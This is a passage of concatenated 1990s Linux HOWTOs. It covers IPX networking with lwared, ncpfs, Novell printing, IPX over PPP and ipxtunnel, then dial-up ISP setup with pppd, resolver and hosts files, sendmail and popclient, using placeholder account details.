The lwared package can be built for any kernel newer than 1.2.0, I recommend you use version 1.2.13 as no kernel patches are required if you do. Some of the IPX functionality has changed with the version 1.3.* kernels and this means that patches are now required to make it work properly. Appropriate patches are included for the new kernels, so if you must use an alpha kernel you should still be able to get lwared to work properly for you.

You can obtain the lwared package by anonymous ftp from: klokan.sh.cvut.cz

or from:

sunsite.unc.edu or mirror sites. The current version at the time of writing was: lwared-0.95.tar.gz

Building lwared

Untar the lwaredpackage

Something like:

# cd /usr/src
# tar xvpfz lwared-0.95.tar.gz

Build a kernel with Ethernet and IPX support

If you are using an alpha 1.3.* kernel then you should try and use kernel version 1.3.17 or newer because the supplied patches were built against it. 1.3.* kernels older than 1.3.17 will require hand patching to install. (some information on how to do this is included in the INSTALL file in the package.). To install the patches against a 1.3.17 kernel or newer you should try:

# make patch

After applying the patches if necessary, the next thing you need to do is ensure that your kernel has been built with IPX support enabled. In the 1.2.13 version kernel you need only ensure that you have answered Y to the question: 'The IPX protocol' as illustrated:

 ...
 ...
Assume subnets are local (CONFIG_INET_SNARL) [y]
Disable NAGLE algorithm (normally enabled) (CONFIG_TCP_NAGLE_OFF) [n]
The IPX protocol (CONFIG_IPX) [n] y
*
* SCSI support
 ...
 ...
In newer kernels a similar process is adopted by the actual text of the prompt may have changed slightly.

You will also need to ensure that you include an appropriate driver for your Ethernet card. If you do not know how to do this then you should read the Ethernet-HOWTO.

You can then proceed to build your kernel. Make sure you remember to run lilo to install it when you have finished.

Compile and install lwared.

To compile lwared you should first check, edit if necessary, the server/config.h file. This file contains various settings that will govern the way your server will behave when it is running. The defaults are reasonable, though you might want to check that the directories specified for the log files and configuration files suit your system.

# make depend
# make
# make install
I found that the 'make depend' complained about not finding the float.h file on my system but appeared to work anyway. I also found that when I tried compiling with gcc 2.6.3 I found I had to change the line:
#include <net/route.h>
to
#include <net/if_route.h>
in lib/ipxkern.c as this file changed name sometime.

The 'make install' will attempt to install the server and routing daemon programs into your /usr/sbin directory, the lwpasswd program into your /usr/bin directory, the IPX utility programs will be installed into your /sbin directory and last but not least the manual pages will go into the /usr/man directory structure. If any of these locations are not suitable for your system then you should edit the relevant Makefile and change the target directories to suit.

Configuring and using lwared

Now the fun bit!

Configuring the IPX network

The first thing you must do is configure your Ethernet interfaces to support the IPX networks your server will support. To do this you will need to know the IPX network addresses for each of your LAN segments, which Ethernet device (eth0, eth1 etc.) is on which segment, what frame type (802.3, EtherII etc.) each LAN segment uses and what Internal Network address your server should use (this is really needed if your server will service more than one LAN segment). A configuration for a server that is on two dis-similar segments with IPX network addresses 23a91300 and 23a91301 and internal network address bdefaced might look like:

# ipx_internal_net add BDEFACED 1
# ipx_interface add eth0 802.3 23a91300
# ipx_interface add eth1 etherii 23a91301

Start the routing daemons

The kernel software itself actually does the IPX packet forwarding as it does for IP, but the kernel requires additional programs to manage the routing table updates. In the case of IPX two daemons are needed and both are supplied with lwared: ipxripd manages the IPX routing information and ipxsapd manages the SAP information. To start the daemons you need only specify the location of where they should write their log messages:

# ipxripd /var/adm/ipxrip
# ipxsapd /var/adm/ipxsap

Configure the lwared server

There are two files that you must manually configure to allow user login to your lwared server. They are:

/etc/lwpasswd

This is where LinWare user account information is kept. The lwpasswd program is to keep it up to date. In its simplest form the /etc/lwpasswd file looks like:

ales:
terryd:
guest:
Its format is a simple list of login id followed by a ':' character and then the encrypted version of the login passwd. A couple of important caveats here: No encrypted password means no password, LinWare users must have Linux accounts, that is any user you place in /etc/lwpasswd must also appear in /etc/passwd and root is the only account that can change the password of another LinWare user. If you are logged in as root you can change the password of a LinWare user as this transcript demonstrates:
# lwpasswd rodg
Changing password for RODG
Enter new password:
Re-type new password:
Password changed.
/etc/lwvtab

This is the LinWare volume tables and it stores information about what directories should be made available to LinWare users (this file is similar in nature to the NFS /etc/exports file). A simple example of its format is as follows:

SYS             /lwfs/sys
DATA            /lwfs/data
HOME            /home
The format is simple: Volume name followed by whitespace followed by Linux directory to export. You must have at least an entry for the SYS volume for the server to start. If you intend your DOS based users to be able use your LinWare server as their primary server then you must install a standard SYS volume directory structure underneath the directory you export as your SYS volume. Since these files are proprietary and copyright to the Novell corporation you should have a license for these. If you users will be using a Novell fileserver as their primary server then this will not be necessary.

Start the lwared server.

tada!

# lwared
It is almost an anticlimax isn't it ? Ok so you've got a question, right? What is the fileserver name that is being advertised ? If you started the server as shown then the LinWare server name being advertised will be based on what is returned by the Linux hostname. If you'd like it to be something else then you can give the server the name when you start it, for example:
# lwared -nlinux00
would start the server with the name linux00.

Test the lwared server.

The very first thing to test is that your LinWare server appears in an slist from a DOS client on your network. The slist program is stored on the SYS volume of a Novell fileserver so you must do this from a machine that is already logged in somewhere. If this is not successful then check that ipxsapd and lwared are both running. If the slist is successful then you should try attaching to the server and mapping a volume:

C:> attach linux00/ales
 ...
 ...
C:> map l:=linux00/data:
C:> l:
You should then be able to treat the new map just like any other map. The file permissions you will have will be based on those allowed to the linux account that parallels your LinWare login.


Linux IPX-HOWTO: Configuring your Linux machine as a Novell Print Client.

 Next Previous Contents

11. Configuring your Linux machine as a Novell Print Client.

The ncpfs package includes two small programs that allow you to handle printing from you Linux machine to a printer attached to a Novell print server. The nprint command allows you to print to a file to a NetWare print queue. The pqlist command allows you the list the available print queues on a NetWare server.

To obtain and install these commands just follow the instructions relating to the NCP client described earlier.

Both commands require that you supply username and password so you might normally consider building some shell scripts to make the task of printing easier.

An example might look like:

# pqlist -S ACCT_FS01 -U guest -n
# nprint -S ACCT_FS01 -q LASER -U guest -n filename.txt
The login syntax is similar to the ncpmount command. The examples above assume that fileserver ACCT_FS01 has a guest account with no password, that a print queue called LASER exists and that guest is allowed to print to it.

On my Linux boxen I have a short shell script for each Novell printer. This can then be used as a print filter to allow printing using the standard Linux spooler.


Linux IPX-HOWTO: Configuring your Linux machine as a Novell Print Server.

 Next Previous Contents

12. Configuring your Linux machine as a Novell Print Server.

A program to allow your Linux machine to act as a print server on a Netware network is included in the ncpfs package. For instructions on how to obtain and build, it follow the directions in the `Netware client' section above. Alternatively, support is included in the mars_nwe package.

12.1 Prerequisites

Configuration is quite straightforward but relies on you already having your printer configuration completed and working under Linux. This is covered in the Printing-HOWTO in some depth.

12.2 Configuration

When you have a working printer configuration, and you have built and installed the pserver utility then you need to add commands to start it into your rc files.

Exactly what command will use will depend on depend on exactly how you want it to operate, but in its simplest form something like the following will work:

# pserver -S ACCT_01 -U LASER -P secret -q LASERJET

This example asks the pserver utility to login in to the ACCT_01 fileserver with username LASER and password secret and to take jobs from the LASERJET print queue. When an incoming print job is received it will use the default print command of lpr to feed the print job to the Linux print daemon. The print queue must already be defined on the fileserver and the username must have server priveliges for the queue.

You could if you wished use any Linux command to accept and print the print job. The -c argument allows you to specify the exact print command. For example:

# pserver -S ACCT_01 -U LASER -P secret -q LASERJET -c "lpr -Plaserjet"
would do exactly the same as the previous example except it would send the job to the laserjet printcap configuration instead of the default one.


Linux IPX-HOWTO: An overview of the ncpfs user and adminstration commands

 Next Previous Contents

13. An overview of the ncpfs user and adminstration commands

Recent versions of Volker's ncpfs package include a range of user and administration commands that you might want to use. The tools are built and installed as part of the ncpfs installation process, so if you haven't already, follow the instructions supplied in the Novell Client section above to build and install them.

Detailed information is available in the supplied man pages but a brief summary of the commands is as follows;

13.1 User commands.

ncopy

Network Copy - allows efficient file copies to be performed by using a Netware function rather than a copy across the network.

nprint

Network Print - allows you to print a file to a Netware print queue on a Netware server.

nsend

Network Send - allows you to send messages to other users on a Netware server.

nwbols

List Bindery Objects - allows you to list the bindery contents of a Netware server.

nwboprops

List Properties of a Bindery Object - allows you to the properties of a Netware bindery object.

nwbpset

Set Bindery Property - allows you to set the properties of a Netware bindery object.

nwbpvalues

Print Netware Bindery Objects Property Contents - allows you to print the contents of a Netware bindery property.

nwfsinfo

Fileserver Information - prints some summary information about a Netware server.

nwpasswd

Netware Password - allows you to change a Netware users password.

nwrights

Netware Rights - displays the rights associated with a particular file or directory.

nwuserlist

Userlist - lists the users currently logged into a Netware fileserver.

pqlist

Print Queue List - displays the contents of a Netware print queue.

slist

Server List - displays a list of know Netware fileserver.

13.2 Administration tools.

nwbocreate

Create a Bindery Object - allows you to create a Netware bindery object.

nwborm

Remove Bindery Object - allows you to delete a Netware bindery object.

nwbpadd

Add Bindery Property - allows you to set the value of an existing property of a Netware bindery object.

nwbpcreate

Create Bindery Property - allows you to create a new property for an existing Netware bindery object.

nwbprm

Remove Bindery Property - allows you to remove a property from a Netware bindery object.

nwgrant

Grant Trustee Rights - allows you to assign trustee rights to a directory on a Netware fileserver.

nwrevoke

Revoke Trustee Rights - allows you to remove trustee rights from a directory on a Netware fileserver.


Linux IPX-HOWTO: Configuring PPP for IPX support.

 Next Previous Contents

14. Configuring PPP for IPX support.

New versions of the pppd PPP daemon for Linux have support that allows you to carry IPX packets across a PPP serial link. You need at least version ppp-2.2.0d of the daemon. See the PPP-HOWTO for details on where to find it. When you compile pppd you must ensure you enable the IPX support by adding the following two lines:

IPX_CHANGE = 1
USE_MS_DNS = 1

to: /usr/src/linux/pppd-2.2.0f/pppd/Makefile.linux.

The IPX_CHANGE is what configures the IPX support into PPP. The USE_MS_DNS define allows Microsoft Windows95 machines to do Name Lookups.

The real trick to getting it to work in knowing how to configure it.

There are many ways of doing this, but I'm only going to describe the two that I've received any information on. I've tried neither yet, so consider this section experimental, and if you get something to work, please let me know.

14.1 Configuring an IPX/PPP server.

The first thing you need to do is configure your Linux machine as an IP/PPP server. Don't panic! This isn't difficult. Again, follow the instructions in the PPP-HOWTO and you should be pretty much ok. When you have this done there are a couple of simple modifications you need to make to get IPX working over the same configuration.

First steps.

One of the first steps you must take is to configure your linux machine as an IPX router as described in the appropriate section earlier in this document. You won't need to use the ipx_route command for the ppp interface because pppd will configure these for you as it does for IP. When you have the ipxd daemon running it will automatically detect any new IPX interfaces and propogates routes for them. In this way your dialup hosts will be seen by other machines automatically when they connect.

Design.

When you are running as a server it will normally be your responsibility to assign network address to each of the PPP links when they are established. This is an important point, each PPP link will be an IPX network and will have a unique IPX network address. This means that you must decide how you will allocate addresses and what what they will be. A simple convention is to allocate one IPX network address to each serial device that will support IPX/PPP. You could allocate IPX network addresses based on the login id of the connecting user, but I don't see any particularly good reason to do so.

I will assume that this is what you have done, and that there are two serial devices (modems) that we will use. The addresses I've assigned in this contrived example are:

device IPX Network Address
------ -------------------
ttyS0  0xABCDEF00
ttyS1  0xABCDEF01

Configure pppd.

Configure your /etc/ppp/options.ttyS0 file as follows:

ipx-network 0xABCDEF00
ipx-node 2:0
ipxcp-accept-remote

and your /etc/ppp/options.ttyS1 file as:

ipx-network 0xABCDEF01
ipx-node 3:0
ipxcp-accept-remote

These will ask pppd to allocate the appropriate IPX network addresses to the link when the link is established, set the local node number to 2 or 3 and will let the remote node overwrite what the remote node number with what it thinks it is. Note that each of the addresses are hexadecimal numbers and that 0x is required at the start of the network address, but not required at the start of the node address.

There are other places this information could be configured. If you have only one dialin modem then an entry could go into the /etc/ppp/options file. Alternatively this information can be passed on the command line to pppd.

Test the server configuration.

To test the configuration you will need to have a client configuration that is known to work. When the caller dials in, logs in and pppd starts it will assign the network address, advise the client of the servers node number and negotiate the clients node number. When this has completed, and after ipxd has detected the new interface the client should be able to establish IPX connections to remote hosts.

14.2 Configuring an IPX/PPP client.

In a client configuration, whether or not you configure your Linux machine as an IPX router depends on whether you have a local LAN that you wish to act as an IPX router for. If you are a standalone machine connecting to an IPX/PPP dialin server then you won't need to run ipxd, but if you have a LAN and wish all of the machines on the LAN to make use of the IPX/PPP route then you must configure and run ipxd as described. This configuration is much simpler because you do not have multiple serial devices to configure.

Configuring pppd

The simplest configuration is one that allows the server to supply all of the IPX network configuration information. This configuration would be compatible with the server configuration described above.

Again you need to add some options to your /etc/ppp/options file, they are:

ipxcp-accept-network
ipxcp-accept-remote
ipxcp-accept-local

These options tell pppd to act completely passively and accept all of the configuration details from the server. You could supply default values here for servers that don't supply details by adding ipx-network and ipx-node entries similar to the server configuration.

Testing the IPX/PPP client.

To test the client you will need a known working server to dial into. After you have dialled in and pppd has run you should see the IPX details configured on your ppp0 device when you run the ifconfig command and you should be able to use ncpmount.

I'm not sure whether you will have to manually add IPX routes so that you can reach distant fileserver or not. This seems likely. If anyone running this configuration could tell me I'd be grateful.


Linux IPX-HOWTO: IPX tunnel over IP

 Next Previous Contents

15. IPX tunnel over IP

Many of you will be in a situation where you have two Novell Local Area Netorks with only an IP connection between them. How do you play multiplayer deathmatch DOOM for DOS via this arrangement you might ask ? Andreas Godzina <ag@agsc.han.de> has an answer for you in the form of ipxtunnel.

ipxtunnel provides a bridge-like facility for IPX by allowing IPX packets to be encapsulated with tcp/ip datagrams so that they can be carried by a tcp/ip connection. It listens for IPX packets and when it hears one it wraps it within a tcp/ip datagram and routes it to a remote IP address that you specify. For this to work of course the machine that you route the encapsulated IPX must also be running a copy of the same version of ipxtunnel as you.

15.1 Obtaining ipxtunnel

You can obtain ipxtunnel from sunsite.unc.edu or mirror sites.

15.2 Building ipxtunnel

ipxtunnel built cleanly for me using the following commands:

# cd /usr/src
# tar xvfz .../ipxtunnel.tgz
# cd ipxtunnel
# make

15.3 Configuring ipxtunnel

Configuration for ipxtunnel is easy. Lets say that your friends machine is gau.somewhere.com and your machine is called gim.sw.edu. ipxtunnel uses a configuration file called /etc/ipxtunnel.conf. This file allows you to specify the default UDP port to use for the tcp/ip connection, where to send the encapsulated data and which of your local interfaces ipxtunnel should listen on and deliver IPX packets to.

A simple configuration file would look like the following:

#
# /etc/ipxtunnel.conf for gim.sw.edu
#
# The UDP port to use:                       (default 7666)
port 7777
#
# The remote machine to send IPX packets to: (no default)
remote gau.somewhere.com
#
# The local interfaces to listen for IPX on: (default eth0)
interface eth0
interface eth1
Obviously the other machine would have a similar configuration file specifying this machine as a remote host.

15.4 Testing and using ipxtunnel

ipxtunnel acts like an IPX bridge, so the IPX networks at either end of the link should probably be the same. Andreas has never tested the ipxtunnel in an environment that actually supports Novell file servers so if you do try this in a real environment let Andreas know if it works or not.

If the ipxtunnel is working you should be able to start your DOOM machines up at each end of the link running IPX mode and they should see each other.

Andreas has only used this code over good high speed lines and he makes no claim as to its performance when your link is low speed. Again, let him know what works for you and what doesn't.


Linux IPX-HOWTO: Commercial IPX support for Linux.

 Next Previous Contents

16. Commercial IPX support for Linux.

16.1 Caldera'a Network Desktop

Caldera Inc., produce a Linux distribution that features a range of commercially supported enhancements including fully functional Novell NetWare client support. The base distribution is the well respected Red Hat Linux Distribution and Caldera have added their "Network Desktop" products to this. The NetWare support provides a fully featured Novell NetWare client built on technology licensed from Novell Corporation. The client provides full client access to Novell 3.x and 4.x fileservers and includes features such as NetWare Directory Service (NDS) and RSA encryption.

You can obtain much more information and ordering details from the: Caldera Inc Web Server.

If you work within a Netware 4.x and/or NDS environment then the Caldera Netware Client is the only solution available.

If you have a business critical application for Novell support for Linux then the Caldera product should be something you take a close look at.


Linux IPX-HOWTO: Some Frequently Asked Questions

 Next Previous Contents

17. Some Frequently Asked Questions

Where can I find commercially supported IPX software for Linux ?

The Caldera Corporation offers a fully licensed and fully supported Netware 3.x and 4.x client. You can obtain information about it from the Caldera Inc Web Server.

Does the IPX software work with Arcnet/Token Ring/etc. ?

The Linux IPX software does work with ArcNet and Token Ring interfaces. I haven't heard of anyone trying it with AX.25 yet. Configuration is the same as for configuring for ethernet except you will have to substitute appropriate device names in place of 'eth0' and appopriate hardware addresses where necessary.

How do I configure more than one IPX interface ?

If you have more than one interface in your machine you should use the ipx_interface command to manually configure each one, you should not use the `plug n play' configuration.

How do I choose IPX addresses ?

IPX networking is similar, but not identical to, IP networking. A major difference is the way that addresses are used. IPX does not use the concept of subnetworking and so the sort of associations that you have between network addresses and networks is different. The rules are fairly simple:

  • Every IPX network address must be unique on a wide area network. This includes Internal Network Addresses. Many organisations using IPX over a wide area network will have some sort of addressing standard that you should follow.
  • Every Host address on an individual network must be unique. This means that every host on each IPX network must have a uniquely assigned address. In the case of ethernet network this isn't difficult as the cards each have a unique address. In the case of IPX/PPP this means you must ensure that you allocate unique addresses to all hosts on the network, irrespective of which end of the link(s) they are connected. Host address do not need to be unique across a wide area network as the network address is used in combination with the host address to uniquely identify a host.

What are frame types, which should I use ?

There are a variety of frame types in use over which you can run IPX. The most common of these are described in the 'common terms' section of this document (under the `Frame Type entry').

If you are installing your machine on an existing network then you must use whatever is already in use to allow you to interwork with the other hosts on the network, but if the installation is a brand new network you can use any of a range of protocols to carry your IPX traffic. My recommendation if you are configuring a brand new network and you need to carry both IPX and IP traffic is to use the Ethernet_II frame type.

My Windows95 machines mess up my frame type autodetection ?

Apparently they can, yeah. I could make nasty comments, but instead I'll just suggest that you use the manual frame type configuration instead of the automatic one. It is probably the better way anyway.

Why do I get the message `invalid argument' when I configure IPX ?

You are probably not running a kernel that supports IPX, either recompile your kernel so it does, or double check that you have actually used lilo to install and run the new kernel.

Why do I get the message `package not installed' when I configure IPX ?

You are probably not running a kernel that supports IPX, either recompile your kernel so it does, or double check that you have actually used lilo to install and run the new kernel.

Why do I get the message `IPX support not in kernel' from pppd ?

You've probably compiled IPX as a module and not ensured that it was loaded before started pppd.

How do I NFS export a mounted NCP filesystem ?

To use NFS to export an NCP filesystem you must mount it using the ncpmount -V option. This option allows you to mount only one volume of a fileserver instead of the usual mounting of all of them. When you do this your NFS daemon will allow you to export that filesystem in the usual way.

Why doesn't slist work when I have an internel network with mars_nwe ?

You must have the get nearest server enabled. That is, entry 401 in /etc/nwserv.conf should be 0 unless you have a reason for not responding to get nearest servers. If you just want slist to work and not respond to every get nearest server request, include your internal network and node number in /etc/nwserv.stations and set entry 401 in /etc/nwserv.conf to 2.

Does ncpfs package work with mars_nwe ?

Martin and Volker's code is slowly beginning to converge. Recent versions of mars_nwe have an option to enable it to work with ncpfs. You must enable the WITH_NAME_SPACE_CALLS in the mars_nwe config.h file.

Is there any free DOS software to work with mars_nwe ?

A contrived question deserves a contrived answer. I'm glad you asked, Martin has a package that he distributes alongside his mars_nwe package that offers free DOS client support for the mars_nwe server. You can find it at the same sites as the server, and it will be called mars_dosutils-0.01.tgz. It includes C source code for programs such as slist.exe, login.exe, map.exe etc. The source is compilable with Borland(tm) C.


Linux IPX-HOWTO: Copyright Message.

 Next Previous Contents

18. Copyright Message.

The IPX-HOWTO, a guide to software supporting the IPX protocol for Linux. Copyright (c) 1995 Terry Dawson.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the:

Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


Linux IPX-HOWTO: Miscellaneous and Acknowledgements.

 Next Previous Contents

19. Miscellaneous and Acknowledgements.

Terry Dawson <terry@perf.no.itg.telstra.com.au> for the original document

David E. Storey <dave@tamos.gmu.edu> and Volker Lendecke <lendecke@namu01.gwdg.de> both assisted greatly by supplying me with information for this document. Gilbert Callaghan <gilbert@pokey.inviso.com>, David Higgins <dave@infra.com> and Chad Robinson <chadr@brtgate.brttech.com> each contributed information on configuring IPX/PPP. Bennie Venter <bjv@Gil-galad.paradigm-sa.com> contributed some useful information relating to frame types. Christopher Wall <vergil@idir.net contributed some useful suggestions to improve the readability and layout of the document. Axel Boldt <boldt@math.ucsb.edu> contributed some useful suggestions and feedback. Erik D. Olson <eriko@wrq.com> provided some useful feedback and information on configuring PPP for IPX. Brian King <root@brian.library.dal.ca> contributed a question for the FAQ section.

"NetWare" is a registered trademark of the Novell Corporation. "Caldera" is a registered trademark of the Caldera Corporation.

regards Kevin Thorpe.

<kevin@pricetrak.com>


ISP-Hookup-HOWTO

Egil Kvaleberg, egil@kvaleberg.no

v1.26, 5 March 1998

This document describes how to use Linux to connect to an Internet Service Provider via a dial-up modem TCP/IP connection. As well as the basic dial-up procedure and IP establishment, email and news handling is covered.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 Translations
  • 1.4 New versions of this document
  • 1.5 Feedback

2. How do I connect to the rest of the world?

  • 2.1 The basic configuration

3. How do I surf?

4. How do I send and receive email

5. News

  • 5.1 How do I set up an online news-reader?
  • 5.2 How do I set up an offline news-reader?
  • 5.3 How do I set up C News?
  • 5.4 How do I set up Leafnode?

6. How do I automate the connection procedure?

7. Final words

  • 7.1 Other things I should know about?

8. ISP specific information

  • 8.1 How do I learn more?
  • 8.2 Thanks to


ISP-Hookup-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This description has been made to answer a few questions about how dial-up ISP (Internet Service Provider) subscribers may configure and use Linux.

To aid those who will connect their Linux based machines to an ISP for the first time, an attempt has been made to cover most issues encountered. This quite unavoidably will create a certain degree of overlap with other Linux Howto-documents and LDP books. Reference should be made to these documents to provide better understanding and detail.

Much of the existing documentation is targeted towards users with a certain degree of experience, and first time users will often have trouble sorting out the relevant information.

To simplify, the examples given will assume the following:

  • User name: dirk
  • Password: PrettySecret
  • Internet service provider: acme.xz
  • Email server: mail.acme.xz
  • News server: news.acme.xz
  • Name server: 193.212.1.0
  • Phone number: 12345678

Our dirk will be calling his machine roderick.

All references in the table above should naturally be replaced by whatever is valid for the ISP one is using. Often, just a minimum of changes will otherwise be required for users with different ISPs. I would like to be informed about what problems you encounter on this account.

1.1 Copyright

Copyright (c) 1996,1997,1998 by Egil Kvaleberg. This document may be distributed under the terms set forth in the LDP license at

http://sunsite.unc.edu/LDP/COPYRIGHT.html

1.2 Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk.

One of many possible setups will be described. In the Linux world, there is usually a number of ways in which to accomplish things. Paragraphs containing hints to alternatives are marked by ALT: Please also note that FTP-references often will change slightly as new versions of programs arrive.

As far as I know, only programs that under certain terms may be used or evaluated for personal purposes will be described. Most of the programs will be available complete with source under GNU-like terms.

1.3 Translations

This document has been translated to the following languages:

German, by Cristoph Seibert:

http://tech.appl-opt.physik.uni-essen.de/LinuX/german-howto/DE-ISP-Verbindung-HOWTO.html

Korean, by Kidong Lee:

http://www.postech.ac.kr/~cessi/howto/ISP-Hookup/ISP-Hookup-HOWTO.html

French, by Eric Jacoboni:

http://www.minet.net/linux/HOWTO-fr/ISP-Hookup-HOWTO.html

Polish, by Piotr Pogorzelski: URL TBA

Norwegian:

http://www.kvaleberg.com/no-linux.html

1.4 New versions of this document

New versions of this document will be periodically posted to comp.os.linux.answers. They will also be added to the various anonymous FTP sites who archive such information, including:

ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO

In addition, you should generally be able to find this document on the Linux Documentation Project page via:

http://sunsite.unc.edu/LDP/

The very latest version of this document should also be available in various formats from:

ftp://ftp.sol.no/user/egilk/ISP-Hookup-HOWTO.txt

ftp://ftp.sol.no/user/egilk/ISP-Hookup-HOWTO.ps.gz

ftp://ftp.sol.no/user/egilk/ISP-Hookup-HOWTO.tar.gz

http://www.kvaleberg.com/ISP-Hookup-HOWTO.html

1.5 Feedback

All comments, error reports, additional information and criticism of all sorts should be directed to:

egil@kvaleberg.no

http://www.kvaleberg.com/


ISP-Hookup-HOWTO: How do I connect to the rest of the world?

 Next Previous Contents

2. How do I connect to the rest of the world?

It will be assumed that we have installed the essential networking software modules from your Linux distribution, and that you have set up which serial port that is to be used for the /dev/modem.

The default configuration will usually only allow direct access to /dev/modem as user root.

To connect to ISP shell accounts directly, and to experiment with connection sequences, you may use the minicom program. It is pretty straight forward to use.

2.1 The basic configuration

Configuration of the machine for use on the net should be done as user root. Before proceeding any further, ensure that the file /etc/hosts.deny contains the following line:

ALL: ALL
You would normally want to allow yourself, so add the following line to /etc/hosts.allow:
ALL: LOCAL
Or if you insist:
ALL: 127.0.0.1
For the following, note that it is meant for those connected via PPP and with a dynamic IP address. If you have the benefit of a fixed connection, there will be some differences.

It is nice to have a name connected to the machine, a name that the dynamic IP user really can select as he or she pleases. Put the name in /etc/HOSTNAME:

roderick

The next step is to set up the name server in /etc/resolv.conf:

search .
nameserver 193.212.1.0
<nidx>nameserver
The name server must be specified by a numeric IP address, and will be different from ISP to ISP. If required, you can have up to three different servers, each on a separate line. They will be requested in the sequence in which they are listed.

If you want to be able to use names like somemachine as an abbreviation for somemachine.acme.xz, you must replace the first line with:

search acme.xz

A certain minimum of configuration will also be required in /etc/hosts. Most users will be able to manage with:

127.0.0.1       localhost
0.0.0.0         roderick
Those with a fixed IP-address will obviously replace 0.0.0.0 with that.

Likewise, a minimum /etc/networks is:

loopback        127.0.0.0
localnet        0.0.0.0

You should also set your external mail domain in /etc/mailname:

acme.xz

The username and password at the ISP must be specified in /etc/ppp/pap-secrets

dirk * PrettySecret

For those ISPs using CHAP instead of PAP the filename is /etc/ppp/chap-secrets.

Finally, the nitty gritty regarding the connection procedure itself must be specified before PPP can be initiated. This is done in /etc/ppp/chatscript:

TIMEOUT 5
"" ATZ
OK ATDT12345678
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT WAITING
TIMEOUT 45
CONNECT ""
TIMEOUT 5
"name:" ppp
Details here may have to be tuned somewhat. The phone number in the third line must of course be set as required. Some users may need to replace the ATZ modem initialization string with something more tailored for the modem being used. The last line specifies that one is expecting a prompt that ends with name:, and that the response should be ppp when it arrives. Other systems may have other login procedures.

To actually initiate a call, the PPP protocol may be initiated by issuing the following command:

exec pppd connect \
     'chat -v -f /etc/ppp/chatscript' \
      -detach crtscts modem defaultroute \
      user dirk \
      /dev/modem 38400
We should now be on-air, and stay up until the program is killed by typing a ctrl-C. Any messages concerning the connection will be appended to the system logs. To read them, try:
tail /var/adm/messages
or
dmesg

As long as PPP is up, you will have direct access to the Internet and may use programs like ftp, ncftp, rlogin, telnet, finger etc. All these programs should be part of the network package.

Further information concerning PPP is also available from:

/usr/lib/ppp/README.linux

/usr/lib/ppp/README.linux-chat

Finally, an additional word about security The file /etc/inetd.conf lists all services that your machine will offer externally. With the /etc/hosts.deny file we have made, no external access will be allowed. For those who need it, access must be allowed explicitly in /etc/hosts.allow. Local traffic may be allowed by:

ALL: LOCAL
See also man 5 hosts_access.

A final minor issue: A certain confusion exists regarding the names of the POP protocols. A definition in /etc/services compatible with just about everything is:

pop2            109/tcp         pop-2           # PostOffice V.2
pop3            110/tcp         pop-3 pop       # PostOffice V.3

ALT: Instead of chatscript, one might use the much more flexible dip. But not in connection with diald.

ALT: Those fortunate enough to have a permanent TCP/IP connection via e.g. an Ethernet may safely ignore anything about PPP and rather start concentrating about setting up their network card.

ALT: Others may not have the possibility of using PPP, but may be able to use SLIP instead, for which there is support in much the same manner as for PPP. Another possibility is UUCP Others again may have to rely on exchange of news and email be means of SOUP A description for the latter case may be found in:

ftp://ftp.sol.no/user/bjorn/Linux-offline.tgz

The TERM program is also an option. Refer to the Term-HOWTO.


ISP-Hookup-HOWTO: How do I surf?

 Next Previous Contents

3. How do I surf?

If you think that text is the most important, you might want to use the Lynx web browser. It is available from:

ftp://sunsite.unc.edu/pub/Linux/system/Network/info-systems/lynx-2.3.bin2.tar.gz

If you have installed the X window system, you can also use one of the many graphical browsers. Chimera may be found at:

ftp://sunsite.unc.edu/pub/Linux/system/Network/info-systems/chimera-1.65.bin.ELF.tar.gz

http://www.unlv.edu/chimera/

Mosaic

ftp://sunsite.unc.edu/pub/Linux/system/Network/info-systems/Mosaic-2.7b1-aout.tgz

ftp://ftp.NCSA.uiuc.edu/Web/Mosaic/Unix/binaries/2.6

Netscape (aka. Mozilla

ftp://sunsite.unc.edu/pub/Linux/system/Network/info-systems/netscape-v11b3.tar.gz

ftp://ftp.cs.uit.no/pub/www/netscape

These browsers are constantly available in new and in various ways exciting versions.

Use and evaluation of these programs is subject to certain terms. Please observe them.


ISP-Hookup-HOWTO: How do I send and receive email

 Next Previous Contents

4. How do I send and receive email

First of all, ensure that sendmail is installed. Sendmail sorts internal and out-bound mail, and will buffer out-bound mail until such time it is possible to forward it.

Sendmail is based on a configuration found in /etc/sendmail.cf. An example suitable for ISP users can be found in:

ftp://ftp.sol.no/user/egilk/sendmail.cf This is based on procmail as a delivery agent but may easily be changed to use deliver.

It is if course required to have an official domain address for out-bound mail, something which is specified in sendmail.cf:

# who I masquerade as (null for no masquerading)
DMacme.xz
This assumes that you have the same user name locally as you have at your ISP. If it is different, just specify the full name instead:
DMdick@acme.xz
Sendmail is now configured for sending directly to the recipient. To avoid long and repeated connections in those cases where the connection to the receiving end is slow and irregular, is is usually nice to use ones ISP as a buffer store. This can be specified by the DS specification:
# "Smart" relay host (may be null)
DSmail.acme.xz
Beware that sendmail is somewhat sensitive to handling of tab stop characters in sendmail.cf. You might want to use the vi editor to ensure that these tab characters are retained unchanged.

Email reception can often be performed via the POP3 protocol, which can be initiated every time the connection is brought up. A script for testing this is:

sendmail -q
popclient -3 -v mail.acme.xz -u dirk -p "PrettySecret" \
       -k -o /usr/spool/mail/dirk
This script may be started after PPP connection has been established. Beware that this script is just for testing, so ensure that the local mailbox is left untouched while it runs. The -k option means that the mail is kept in the ISP mailbox, and you are simply given a copy of the mail. You would of course want to remove this option once you are confident that your setup is working.

Beware that the password will show on the command line. Also note that popclient is getting old fashioned, and that you should consider using fetchmail instead.

A more secure and better version of this script may be found at:

ftp://ftp.sol.no/user/egilk/pop-script.tar.gz

This version of the script requires that procmail is installed, but that is something you'll never regret anyway. Most distributions include it, otherwise you may try:

ftp://sunsite.unc.edu/pub/Linux/system/Mail/mailhandlers/procmail-3.10-2.tar.gz

